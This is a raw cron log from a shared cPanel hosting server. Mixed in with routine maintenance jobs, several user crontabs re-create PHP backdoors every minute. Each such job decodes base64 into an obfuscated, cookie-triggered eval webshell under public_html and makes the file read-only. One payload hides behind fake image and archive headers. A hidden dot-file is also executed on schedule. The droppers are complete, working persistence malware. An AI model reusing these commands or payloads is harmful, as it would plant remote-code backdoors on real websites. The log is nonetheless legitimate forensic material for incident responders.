Mar  2 04:48:01 medusa CROND[16387]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:48:01 medusa CROND[16392]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:48:01 medusa CROND[16394]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:48:01 medusa CROND[16396]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:48:01 medusa CROND[16400]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:48:01 medusa CROND[16398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:49:01 medusa CROND[2458]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:49:01 medusa CROND[2583]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:49:01 medusa CROND[2609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:49:01 medusa CROND[2611]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:49:01 medusa CROND[2610]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:49:01 medusa CROND[2613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:49:01 medusa CROND[2614]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:49:01 medusa CROND[2615]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:49:01 medusa CROND[2618]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:49:01 medusa CROND[2620]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:49:01 medusa CROND[2622]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:49:01 medusa CROND[2625]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:50:01 medusa CROND[21982]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:50:01 medusa CROND[22030]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:50:01 medusa CROND[22293]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:50:01 medusa CROND[22294]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:50:01 medusa CROND[22295]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:50:01 medusa CROND[22296]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 04:50:01 medusa CROND[22297]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:50:01 medusa CROND[22298]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:50:01 medusa CROND[22302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:50:01 medusa CROND[22303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:50:01 medusa CROND[22305]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:50:01 medusa CROND[22304]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:50:01 medusa CROND[22307]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:50:01 medusa CROND[22310]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:50:01 medusa CROND[22308]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 04:50:01 medusa CROND[22327]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:50:01 medusa CROND[22331]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:50:01 medusa CROND[22335]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:50:01 medusa CROND[22332]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:50:01 medusa CROND[22329]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
